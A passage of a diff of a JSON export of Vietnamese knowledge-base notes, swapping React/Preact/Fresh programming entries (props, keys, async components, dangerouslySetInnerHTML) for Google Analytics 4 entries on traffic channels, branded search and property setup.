Xác](https://conversion.vn/google-analytics-khong-chinh-xac/)\r\n\r\n- [[Các organic branded traffic nên được xem như là direct traffic]] \r\n- [[Các URL dài có thể là organic traffic chứ không phải direct traffic]] \r\n\r\nCộng đồng hỏi đáp:\r\n- Tiếng Anh:\r\n\t- Discord: https://discord.gg/djsM2JfQaG\r\n\t- Reddit: \r\n- [Cộng Đồng Google Analytics 4 (GA4) - Việt Nam | Facebook](https://www.facebook.com/groups/578268814077720 \"Cộng Đồng Google Analytics 4 (GA4) - Việt Nam | Facebook\")\r\n\r\nSetup cross domain\r\n\r\n![Hướng dẫn sử dụng Google Analytics 4 (GA4) 2023 - Cách tạo tài khoản và cài đặt Google Analytic 4 - YouTube](https://www.youtube.com/watch?v=S2_IkFRieM0)\r\n![Tổng quan về Google Analytics\\_GA 101\\_Buổi 1 - YouTube](https://youtu.be/MkEqM_Sny8M)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YQ" + "id": "c9" }, { - "Tiêu đề": "key là một thuộc tính đặc biệt của vật thể props để việc render được hiệu quả hơn", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/JSX, props/key là một thuộc tính đặc biệt của vật thể props để việc render được hiệu quả hơn", + "Tiêu đề": "Nếu web có ít người sử dụng thì một số dữ liệu sẽ bị giấu đi để đảm bảo tính riêng tư cho người dùng", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Nếu web có ít người sử dụng thì một số dữ liệu sẽ bị giấu đi để đảm bảo tính riêng tư cho người dùng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "In Preact, I want to display an object:\r\n\r\n```javascript\r\nexport default function Component() {\r\n const obj = { a: 'a', b: 'b'} \r\n const elements = [];\r\n for (const [key, value] of Object.entries(obj)) {\r\n elements.push(<>{key}: {value}<br></br></>)\r\n }\r\n return (\r\n <article>\r\n {elements}\r\n </article>\r\n );\r\n}\r\n```\r\n\r\nThis returns fine:\r\n\r\n```\r\na: a\r\nb: b\r\n```\r\n\r\nHowever, if I extract the element into a separate JSX element like this:\r\n\r\n```javascript\r\nfunction Element({ key, value }) {\r\n return (<>{key}: {value}<br></br></>);\r\n}\r\nexport default function Component() {\r\n const obj = { a: 'a', b: 'b'} \r\n const elements = [];\r\n for (const [key, value] of Object.entries(obj)) {\r\n // elements.push(<>{key}: {value}<br></br></>)\r\n elements.push(<Element key={key} value={value} />)\r\n }\r\n return (\r\n <article>\r\n {elements}\r\n </article>\r\n );\r\n}\r\n```\r\n\r\nThen the keys all become undefined:\r\n\r\n```\r\n: a\r\n: b\r\n```\r\n\r\nIt is because `key` is a special prop in (p)react, used by the framework as a hint for how to rearrange elements safely and efficiently. You'll need to use another prop.\r\n\r\nTake the following example as a result from a component rendering.\r\n\r\n| First Render | Second Render |\r\n| ------------------------------------------------------------------------------ | ---------------------------------------------------------------- |\r\n| ```<br><article> <div>a</div> <div>b</div> <div>c</div></article><br>``` | ```<br><article> <div>a</div> <div>c</div></article><br>``` |\r\n\r\nThe problem here is that it's unclear what has been done:\r\n\r\n- a) has the second item been removed, or\r\n- b) has the third item been removed, and the text of the second item changed?\r\n\r\n(p)react could only guess, which is why we use keys.\r\n\r\n| First Render | Second Render |\r\n| ------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------- |\r\n| ```<br><article> <div key=\"a\">a</div> <div key=\"b\">b</div> <div key=\"c\">c</div></article><br>``` | ```<br><article> <div key=\"a\">a</div> <div key=\"c\">c</div></article><br>``` |\r\n\r\nWith keys, (p)react is able to correctly and quickly update the list, as it knows exactly what's happened (b was removed).\r\n\r\nPreact's tutorial has an entire section on keys, if you wanted to learn more: [https://preactjs.com/tutorial/08-keys](https://preactjs.com/tutorial/08-keys)\r\n\r\nNguồn:: [Why do object keys become undefined if they are accessed via an JSX element?](https://stackoverflow.com/a/78466472/3416774)\r\n\r\n[[Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó]]", + "Toàn bộ nội dung": "For your reports to include Google-signals data you need a monthly average of 500 users per day per property.\r\nNguồn:: [[Google Support]], [[GA4] Activate Google signals for Google Analytics 4 properties - Analytics Help](https://support.google.com/analytics/answer/9445345?sjid=15541438504357375011-AP#zippy=%2Cin-this-article%2Ccross-platform-reporting)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YR" + "id": "cA" }, { - "Tiêu đề": "Phải viết JSX trong .jsx hoặc .tsx", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/JSX, props/Phải viết JSX trong .jsx hoặc .tsx", + "Tiêu đề": "Các organic branded traffic nên được xem như là direct traffic", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Traffic, social, channel/Các organic branded traffic nên được xem như là direct traffic", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ", + "Toàn bộ nội dung": "Organic search traffic bao gồm cả các branded traffic, tức là các traffic mà từ khóa mà người dùng sử dụng để tìm kiếm có chứa tên thương hiệu trong đó. Ví dụ brand ở đây là Wall Street English và thay vì tìm kiếm với từ khóa chung chung là _“học tiếng Anh”_ thì người dùng có thể tìm kiếm bằng từ khóa _“học tiếng Anh Wall Street English”_ và bấm vào kết quả tìm kiếm tự nhiên để vào website. Lúc này về mặt kỹ thuật, các traffic này vẫn là search traffic nhưng về mặt bản chất thì người dùng đã biết đến Wall Street English từ trước và họ tìm kiếm với mục đích là để đến website của brand này chứ không phải để tìm kiếm sự lựa chọn nữa. Và branded traffic thường có xu hướng gia tăng khi nhận diện thương hiệu của brand được gia tăng (thông qua các hoạt động quảng cáo, branding, PR) chứ không liên quan nhiều đến kết quả thứ hạng các từ khóa và hoạt động SEO. Một số khách hàng và công ty mà tôi đã có dịp tư vấn qua thì organic traffic của họ tăng trưởng đều đều nhưng sau khi kiểm tra lại thì thực chất phần tăng trưởng đó là branded traffic và phần này có khi chiếm tới 80% tổng số organic traffic. Lúc này thực chất, từ khóa duy nhất mà các công ty này đang rank có lẽ chỉ là tên thương hiệu của họ.\r\n\r\n# Giải pháp\r\n\r\nVì các lý do nêu trên, các branded traffic nên được xem như là direct traffic thì sẽ chính xác hơn về mặt ý nghĩa để đánh giá và phân tích. Trong Google Analytics nên thiết lập một segment để đo lường branded traffic và non-branded traffic riêng biệt để có đánh giá chính xác hơn về tình hình thực sự của organic traffic mà không bị ảnh hưởng bởi người dùng tìm kiếm về thương hiệu.\r\n\r\nCách thiết lập segment cho Branded Traffic: vào mục Organic Search trong Channels, phía trên cái graph sẽ có dòng Add Segment, bấm vào đó. Sau đó bấm New Segment, đặt tên là Branded Organic Traffic hay đại loại, trong bảng đó bấm vào Traffic Sources, khung medium chọn contains sau đó gõ vào “organic”. Sau đó trong phần Conditions bên dưới trong khung đầu tiên chọn “Keyword”, khung thứ hai chọn “contains” sau đó phần khung còn lại điền vào brand của mình. Nếu brand có nhiều cách gọi hoặc cách gõ thì tốt nhất nên nhập hết bao gồm cả typo, ví dụ “wall street english”, “wse”, “wallstreet english”, “wsenglish”. Sau đó bấm Save là xong.\r\n\r\n[![branded-organic-traffic.png](https://conversion.vn/wp-content/uploads/branded-organic-traffic.png)](https://conversion.vn/wp-content/uploads/branded-organic-traffic.png)\r\n\r\nNên thiết lập một segment để tracking traffic liên quan đến branded keywords. \r\n\r\nNguồn:: [[Bùi Quang Tinh Tú]], [Google Analytics Và Tại Sao Nó Không Chính Xác](https://conversion.vn/google-analytics-khong-chinh-xac/#Organic_Search)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-06-30T05:52:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YS" + "id": "cB" }, { - "Tiêu đề": "Props giúp việc thêm property cho DOM giống như thêm attribute cho HTML", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/JSX, props/Props giúp việc thêm property cho DOM giống như thêm attribute cho HTML", + "Tiêu đề": "Các URL dài có thể là organic traffic chứ không phải direct traffic", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Traffic, social, channel/Các URL dài có thể là organic traffic chứ không phải direct traffic", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[[JSX là cách để viết JS như thể viết HTML]]\r\n[[DOM property khác HTML attribute]]", + "Toàn bộ nội dung": "Google Analytics thường xác định visits thuộc về nguồn traffic nào dựa vào referrer, tuy nhiên vì một lý do nào đó mà referrer này lại bị mất dẫn đến việc các traffic đó sẽ bị xếp loại vào direct traffic. Vậy bao nhiêu organic traffic hiện đang bị tính vào direct traffic? Một nghiên cứu được tiến hành bởi Gene McKenna – Product Manager của Groupon đã cho thấy rằng có thể có tới [60% direct traffic của bạn hiện tại là organic](http://searchengineland.com/60-direct-traffic-actually-seo-195415). Con số đó có thể chỉ là trong trường hợp của Groupon, một trang deal / e-commerce, tùy theo tình trạng website của bạn như thế nào, số lượng organic traffic của bạn bị lẫn trong direct traffic có thể nằm trong khoản 20% – 80%.\r\n\r\n## Giải pháp\r\n\r\nKiểm tra trong phần direct traffic của report và chú ý tới các URLs dài, khó nhớ và khó có khả năng người dùng gõ trực tiếp vào trình duyệt hoặc bookmark, chúng nhiều khả năng không phải là direct traffic mà chính là organic traffic.\r\n\r\n[![long-tail-organic-traffic-trong-direct.png](https://conversion.vn/wp-content/uploads/long-tail-organic-traffic-trong-direct.png)](https://conversion.vn/wp-content/uploads/long-tail-organic-traffic-trong-direct.png)\r\n\r\nCó thể chúng là organic traffic, chứ không phải direct traffic.\r\n\r\nNguồn:: [[Bùi Quang Tinh Tú]], [Google Analytics Và Tại Sao Nó Không Chính Xác](https://conversion.vn/google-analytics-khong-chinh-xac/#Organic_Search)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-06-30T06:05:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YT" + "id": "cC" }, { - "Tiêu đề": "Props là viết tắt của property, nghĩa gốc là tài sản. Tài sản của cha mẹ thì con dùng được, nhưng tài sản của con thì cha mẹ không đụng được", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/JSX, props/Props là viết tắt của property, nghĩa gốc là tài sản. Tài sản của cha mẹ thì con dùng được, nhưng tài sản của con thì cha mẹ không đụng được", + "Tiêu đề": "GA xem zalo, wordpress, stackexchange là social", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Traffic, social, channel/GA xem zalo, wordpress, stackexchange là social", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: [Mental model trong React | TopDev](https://topdev.vn/blog/mental-model-trong-react/)\r\n[[Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó]]", + "Toàn bộ nội dung": "Nguồn:: [GA4 Source Categories - Sheet1.pdf](https://storage.googleapis.com/support-kms-prod/qn1xhBu8MVcZPIZ2WZMNdI40FtZXFPGYxj2K)\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-26T07:59:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YU" + "id": "cD" }, { - "Tiêu đề": "Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/JSX, props/Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó", + "Tiêu đề": "Nếu medium không có gì đặc biệt thì cứ để trống để google tự phân loại", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Traffic, social, channel/Nếu medium không có gì đặc biệt thì cứ để trống để google tự phân loại", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "![[Những hàm được export default và được viết hoa ký tự đầu tiên là component]]\r\n[[Props là viết tắt của property, nghĩa gốc là tài sản. Tài sản của cha mẹ thì con dùng được, nhưng tài sản của con thì cha mẹ không đụng được]]\r\n", + "Toàn bộ nội dung": "Khái niệm:: \r\n[[❓Measurement ID của web data stream chính là Google tag ID]]\r\n[Subdomain Tracking with Google Analytics 4 (2023)](https://www.analyticsmania.com/post/subdomain-tracking-with-google-analytics-and-google-tag-manager/)\r\nNguồn:: ![How to Track Subdomains with Google Analytics 4 - YouTube](https://youtu.be/7laoCJcnqGk?si=16qA6p_DT_O7OtVT)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-26T06:41:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YV" + "id": "cE" }, { - "Tiêu đề": "Không có async component vì hiệu suất quá tệ", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Không có async component vì hiệu suất quá tệ", + "Tiêu đề": "Referral channel group bao gồm organic social trong đó", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Traffic, social, channel/Referral channel group bao gồm organic social trong đó", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Async route components are not really components. They are route handlers which happen to return JSX and then the JSX gets rendered. You cannot pass them to other components and instantiate them as if they were components, because they're not\r\n\r\nYes, initially I wanted to support that in Fresh 2, but I've made a 180 on that. They seem exciting to use until you realise that they are super bad for performance because it ties data loading to rendering which forces waterfall like loading patterns.\r\n\r\nIt's pretty bad. It encourages the wrong pattern and prevents future optimizations. In doing so the rendering is always bottlenecked by not just the slowest data request, but the sum of all fast + slow requests combined. It essentially encourages the worst case scenario for performance.\r\n\r\nIt applies to any form of async component. Async routes in Fresh are fine because they are always at the top and you can control _how_ data is loaded. This leaves open the door for future optimizations like flushing the outer HTML shell already to the client whilst some data is still loading. As soon as you introduce proper async components performance suffers. Doesn't matter where in the tree like if it's a normal component, an island or something else. Picture this: Async component A renders another async component B. Now the request needs to wait first for A to render, and only then can render B after A has completed rendering. Data loading is always the slowest path in a server response, so you basically have to add the cost of A + B. Even if the data is completely independent and could've been loaded in parallel, you cannot do it in this model\r\n\r\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/991511118524715139/1233183397384294510)", + "Toàn bộ nội dung": "- Organic social channel group chỉ bao gồm các mạng xã hội được liệt kê sẵn hoặc có medium là `social`\r\n- Referral medium là nguồn đến từ website khác, bao gồm các trang mạng xã hội\r\n- Referral channel group bao gồm các referral medium, nên cũng sẽ bao gồm các trang mạng xã hội\r\n\r\nNguồn:: [[GA4] User acquisition report - Computer - Analytics Help](https://support.google.com/analytics/answer/12922540?hl=en&ref_topic=13818299&sjid=6576622176796106484-AP#zippy=%2Ci-only-see-direct-traffic-what-is-direct-traffic-in-google-analytics), [[GA4] Default channel group - Analytics Help](https://support.google.com/analytics/answer/9756891?hl=en#list)\r\n[[Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-26T07:59:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YW" + "id": "cF" }, { - "Tiêu đề": "Những hàm được export default và được viết hoa ký tự đầu tiên là component", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Những hàm được export default và được viết hoa ký tự đầu tiên là component", + "Tiêu đề": "Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Analytics/Traffic, social, channel/Social về bản chất là referral, nhưng được tách ra để phân tích sâu hơn", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ví dụ, trong `components/component.tsx`:\r\n```ts\r\nexport default function Component(props) {\r\n\treturn <span>Giá trị của thuộc tính 1 là {props.thuộcTính1}. Giá trị của thuộc tính 2 là {props.thuộcTính2}.</span>\r\n} \r\n```\r\n([[Props là đối số đầu tiên của hàm component, dùng để truyền giá trị các thuộc tính của nó]])\r\nTrong `routes/index.tsx`:\r\n```ts\r\nimport Component from '../components/component.tsx'\r\n\r\nexport default function Home() {\r\n\treturn <Component thuộcTính1 = 'hello' thuộcTính2 = 'world' />\r\n\r\n// 👉 Giá trị của thuộc tính 1 là hello. Giá trị của thuộc tính 2 là world.\r\n} \r\n```\r\nTa thấy trong `index.tsx` hàm `Component()` được dùng như thể đó là HTML.\r\n\r\nKhi viết `components/component.tsx` thường người ta sẽ [destructuring](https://viblo.asia/p/ban-ve-js-destructuring-Eb85omNBZ2G \"Bàn về JS - Destructuring\") luôn `props` để vừa thấy rõ ràng trong `props` đó sẽ có những thuộc tính nào, vừa để đỡ phải viết lại nhiều lần:\r\n```ts\r\nexport default function Component({thuộcTính1, thuộcTính2}) {\r\n\treturn <span>Giá trị của thuộc tính 1 là {thuộcTính1}. Giá trị của thuộc tính 2 là {thuộcTính2}.</span>\r\n} \r\n```\r\n\r\n", + "Toàn bộ nội dung": "[[Referral channel group bao gồm organic social trong đó]]\r\nNguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-06-30T06:12:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YX" + "id": "cG" }, { - "Tiêu đề": "Nếu truyền HTML làm giá trị biến thì cần dùng dangerouslySetInnerHTML, nếu không thì sẽ bị mã hoá hết", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Nếu truyền HTML làm giá trị biến thì cần dùng dangerouslySetInnerHTML, nếu không thì sẽ bị mã hoá hết", + "Tiêu đề": "Google Marketing Platform", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Marketing Platform", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Ví dụ trong `routes/test.tsx`:\r\n```tsx\r\nimport { CSS, render } from \"https://deno.land/x/gfm/mod.ts\";\r\n\r\nconst markdown = `# Hello, world!`\r\n\r\nconst body = render(markdown, {\r\n baseUrl: \"https://example.com\",\r\n});\r\n\r\nexport default function a() {\r\n return <main>\r\n\t {body}\r\n </main>\r\n} \r\n```\r\nThì kết quả sẽ là:\r\n\r\n```html\r\n<main><h1 id="hello-world"><a class="anchor" aria-hidden="true" tabindex="-1" href="#hello-world"><svg class="octicon octicon-link" viewbox="0 0 16 16" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a>Hello, world!</h1></main>\r\n```\r\n\r\nNhưng nếu sử dụng:\r\n```tsx\r\nexport default function a() {\r\n return (\r\n <main dangerouslySetInnerHTML={{ __html: body }}>\r\n {body}\r\n </main>\r\n );\r\n}\r\n```\r\nthì kết quả trả về sẽ là:\r\n```html\r\n<main><h1 id=\"hello-world\"><a class=\"anchor\" aria-hidden=\"true\" tabindex=\"-1\" href=\"[#hello-world](view-source:http://localhost:8000/test#hello-world)\"><svg class=\"octicon octicon-link\" viewbox=\"0 0 16 16\" width=\"16\" height=\"16\" aria-hidden=\"true\"><path fill-rule=\"evenodd\" d=\"M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z\"></path></svg></a>Hello, world!</h1></main>\r\n```\r\n\r\nNguồn:: [dangerouslySetInnerHTML](https://tek4.vn/khoa-hoc/reactjs-tu-co-ban-den-nang-cao/dangerouslysetinnerhtml)", + "Toàn bộ nội dung": "Nguồn:: [[Tự ngẫm nghĩ, trải nghiệm]]", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YY" + "id": "cH" }, { - "Tiêu đề": "Render là quá trình chuyển đổi dữ liệu và code sang HTML", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Component, render, JSX/Render là quá trình chuyển đổi dữ liệu và code sang HTML", + "Tiêu đề": "Google Search Console chỉ lưu dữ liệu trong 16 tháng", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Search Console chỉ lưu dữ liệu trong 16 tháng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Nguồn:: ![10 Rendering Patterns for Web Apps - YouTube](https://youtu.be/Dkx5ydvtpCA?si=JTxuIyW_lFbuA4OB)", + "Toàn bộ nội dung": "Nguồn:: [Fetching Title#98hp](https://support.google.com/analytics/answer/10737381)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "YZ" + "id": "cI" }, { - "Tiêu đề": "Framework", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Framework", + "Tiêu đề": "Google Search Console dùng để biết thiên hạ đang google web mình thế nào", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Google Search Console dùng để biết thiên hạ đang google web mình thế nào", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```dataview\r\nLIST rows.file.link\r\nFROM \"✍️Lập trình/Web/Framework\" \r\nWHERE file.name!=this.file.name\r\nGROUP BY split(file.folder, \"/\")[3]\r\n```\r\n\r\n![Every React Concept Explained in 12 Minutes - YouTube](https://www.youtube.com/watch?v=wIyHSOugGGw)", + "Toàn bộ nội dung": "[[Google Search Console chỉ lưu dữ liệu trong 16 tháng]] \r\nNguồn::", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2024-01-12T10:36:00.000Z", + "Ngày tạo": "2023-10-24T11:26:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Ya" + "id": "cJ" }, { - "Tiêu đề": "form", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/form", + "Tiêu đề": "App điện thoại có thể trở thành data stream, nhưng không thể trở thành destination", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/App điện thoại có thể trở thành data stream, nhưng không thể trở thành destination", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Following up on this, there's also an intermediate approach if you use the `react-hook-form` library which is based on uncontrolled components, but does require state (being an island) due to its `useForm()` hook helper. So in this sense, we could say there's 3 approaches to forms: `uncontrolled -> uncontrolled+state -> stateful`. As Marvin says, I agree that one should always start with `uncontrolled` forms using only HTML. However, there might be cases when you need a bit more control, and that's where the middleground (`uncontrolled+state`) with a library like `react-hook-form` might come into play. For example, in my case, I needed to use PATCH/PUT to interact with my RESTful API and the native HTML `<form>` element only supports GET/POST, so I had to had an onSubmit handler (in an island), in which case you might as well use the `react-hook-form` wrapper which provides some nice features while keeping things uncontrolled👍.\r\n\r\nIn general, forms have been sort of a pain to deal with (primarily since `<form>` does not support all HTTP methods (for REST APIs), this lead to me prototyping an isomorphic `<FormFetch />` component (check out [the gist](https://gist.github.com/miguelrk/d3ffc311627586d3459fcc75fd7512e7 \"the gist\r\n(https://gist.github.com/miguelrk/d3ffc311627586d3459fcc75fd7512e7)\")), it's not an island, since client-side code is inlined in a `<script>` tag) which augments the HTML-native `<form>` to allow e.g.\r\n\r\n```tsx\r\n<FormFetch id=\"users.patch\" action={`/api/users/${user.id}`} method=\"patch\">\r\n```\r\n\r\nby preventing the form's default `submit` event handler, and making a `fetch` request instead (thus no dependencies. \r\n\r\nThis worked marvelously. @marvinh. would a built-in component like this e.g. `<Form />` (similar to e.g. `<Head >`) be interesting for fresh? This could be used as a component, no need to place it within an island, so ergonomics are I think great, and it relies only on HTML/Web APIs... In general, this could complement the incoming partials-based improvements for forms in fresh\r\n\r\nNguồn:: [Discord](https://discord.com/channels/684898665143206084/991511118524715139/1227505709391024198)", + "Toàn bộ nội dung": "Lý do:: Việc theo dõi hành vi người dùng trên đt và trên web đòi hỏi kỹ thuật khác nhau\r\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Yb" + "id": "cK" }, { - "Tiêu đề": "Fresh dùng Preact cho UI", - "URL": "https://lậptrình.quảcầu.cc/✍️Lập trình/Web/Framework/Fresh, Preact, React/Fresh dùng Preact cho UI", + "Tiêu đề": "Các dữ liệu cần xử lý chung một chỗ cần được đổ về cùng một property", + "URL": "https://lậptrình.quảcầu.cc/🔊Tiếp thị số/Web analytics/Gắn tag/Các dữ liệu cần xử lý chung một chỗ cần được đổ về cùng một property", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Fresh đối với Preact cũng giống như Next.js đối với React. React với Preact cung cấp khả năng render (làm framework), còn Fresh hay Next xử lý những thứ còn lại (làm meta-framework)]]\r\n![[Preact chỉ là một thư viện render. Nó không có biết gì về server hay routing cả]]", + "Toàn bộ nội dung": "Nhìn chung, bạn nên thiết lập một tài khoản cho mỗi công ty và một property cho mỗi thương hiệu hoặc đơn vị kinh doanh.\r\n\r\n## Phiên bản GA miễn phí chỉ có một loại property\r\n### Ví dụ A: dùng một property riêng cho mỗi thương hiệu\r\n- Công ty mẹ A: 1 tài khoản \r\n\t- Thương hiệu X (ô tô): 1 property\r\n\t- Thương hiệu Y (hàng gia dụng): 1 property\r\n\t- Thương hiệu Z (hàng điện tử gia dụng): 1 property\r\n\r\nTrong trường hợp này, công ty mẹ có 1 tài khoản và 3 property riêng biệt, mỗi property chỉ chứa dữ liệu liên quan đến thương hiệu/đơn vị kinh doanh đó. \r\n\r\n### Ví dụ B: dùng chung một property cho tất cả các lĩnh vực hoạt động \r\n- Doanh nghiệp B: 1 tài khoản\r\n\t- Dòng sản phẩm D (bảo hiểm nhà ở): 1 property\r\n\t- Dòng sản phẩm E (bảo hiểm ô tô): thuộc cùng property với dòng sản phẩm D\r\n\t- Dòng sản phẩm F (bảo hiểm nhân thọ): thuộc cùng property với dòng sản phẩm D và E\r\n\r\nTrong trường hợp này, doanh nghiệp đã đổ dữ liệu tất cả các dòng sản phẩm vào một property duy nhất. Họ có thể có những khách hàng thường xuyên dùng nhiều sản phẩm, hoặc họ thường sử dụng chiến dịch bán thêm tính năng bổ sung, hoặc bán chéo các sản phẩm với nhau. Vì vậy sẽ hợp lý hơn khi xem tất cả các dữ liệu đó ở cùng một nơi. \r\n\r\n### Ví dụ C: dùng chung một property cho tất cả các sản 